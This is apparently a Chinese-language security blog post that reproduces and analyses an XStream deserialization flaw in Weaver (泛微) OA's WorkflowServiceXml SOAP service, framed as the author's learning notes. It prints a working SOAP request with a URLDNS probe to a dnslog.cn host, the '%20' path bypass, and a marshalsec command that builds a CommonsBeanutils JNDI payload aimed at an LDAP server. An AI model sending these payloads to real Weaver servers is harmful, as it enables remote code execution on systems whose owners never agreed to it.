前言:在實戰中碰到了,但是發現怎么打就是沒反應,經過測試,最后發現只有80端口出網,最后正好學習java,順帶一起學習了解泛微,搭建泛微最后也沒搭建成功,但是services可以調用了,所以湊合着用吧...
源碼提供,謝謝逗神!
參考文章:https://www.anquanke.com/post/id/239865
漏洞復現
在自己搭建的環境中,我發現這個services是可以直接進行調用的,也不需要%20
來進行繞過,應該還是版本的問題,以后看了源碼自己知道了再補上,這里僅僅復現
但是發現加了%20
也同樣可以進行訪問
URLDNS:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string><map>   <entry>     <url>http://iosw8c.dnslog.cn</url>     <string>http://iosw8c.dnslog.cn</string>   </entry> </map></web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>
CommonsBeanutils JNDI注入
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils ldap://192.168.1.230:1389/uk1zlp > cbu.xml
命令執行成功:
數據包回顯執行命令
暫且不寫,到時候學習becl調用鏈再來補上!
漏洞分析
按照自己學的,對於servlet filter等相關的映射一般都在web.xml中進行實現
漏洞的URL為:/services%20/WorkflowServiceXml
這邊就直接去找對應的services.xml,我這里找到的路徑為classbean\META-INF\xfire\services.xml
<!--增加新的webservice -->
<service>
<name>WorkflowServiceXml</name>
<serviceClass>weaver.workflow.webservices.WorkflowServiceXml</serviceClass>
<implementationClass>weaver.workflow.webservices.WorkflowServiceImplXml</implementationClass>
</service>
這里就直接去對應的包中進行尋找weaver.workflow.webservices.WorkflowServiceImplXml
這里通過jd-gui來進行字節碼的反編譯,如下圖所示,因為有POC了,這里分析的話那么就可以直接定位doCreateWorkflowRequest這個函數的地方了,
這種基於webservices的,一般都是通過xml來進行傳輸數據,解析的話一般都是通過手動xml來進行解析,或者通過第三方組件來幫助進行解析xml,那么就有可能觸發反序列化,比如XStream
public String doCreateWorkflowRequest(String paramString, int paramInt)
{
try
{
WorkflowRequestInfo localWorkflowRequestInfo = (WorkflowRequestInfo)this.xmlutil1.xmlToObject(paramString);
localWorkflowRequestInfo = getActiveWorkflowRequestInfo(localWorkflowRequestInfo);
RequestInfo localRequestInfo = toRequestInfo(localWorkflowRequestInfo);
if ((localRequestInfo.getCreatorid() == null) || (localRequestInfo.getCreatorid().isEmpty())) {
localRequestInfo.setCreatorid(paramInt + "");
}
if (!localRequestInfo.getCreatorid().equals(paramInt + "")) {
localRequestInfo.setCreatorid(paramInt + "");
}
localRequestInfo.setIsNextFlow(localWorkflowRequestInfo.getIsnextflow());
return this.requestService.createRequest(localRequestInfo);
}
catch (Exception localException)
{
localException.printStackTrace();
writeLog(localException);
}
return null;
}
通過URLDNS來進行試探,基於XML形式的URLDNS payload如下:
<map>
<entry>
<url>http://1xsz12.dnslog.cn</url>
<string>http://1xsz12.dnslog.cn</string>
</entry>
</map>
因為調試不了泛微,所以我們自己用XStream組件來進行調試,這里順帶分析,因為后面自己會學習XStream,順便先來了解下
導入maven依賴包:
<!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.15</version>
</dependency>
發現觸發了URLDNS
XStream URLDNS調試過程
通過上面兩個默認的parse和NameCoder來創建一個HierarchicalStreamReader返回
接着就是開始調用unmarshal,最后來到如下,途中還可以發現,如果沒有設置相關的Security framework,它還會打印出來提醒,說明XStream應該也提供了一系列的安全操作
接着構建了一個TreeUnmarshaller對象
該對象包含了如下屬性
接着就是開始start函數
他會先解析當前xml,現在存儲了一個hashMap,那么它則通過readClassType獲取其中的接口類Map
接着就是convertAnother,這個函數就會進行相關的解析操作,不分析了,感覺直接扔到這邊,就當粗略的了解下XStream,最后就是進行轉換的操作,對應的XML會轉換為一個HashMap
HashMap的put函數
接下來就是就會進行請求DNS,這里就不繼續分析了,后面就跟URLDNS一樣
繼續回到泛微的,那么我們就知道了XStream能夠對paramString參數 public String doCreateWorkflowRequest(String paramString, int paramInt)
,進行相關反序列化的操作,自然拿其他利用鏈也是可以的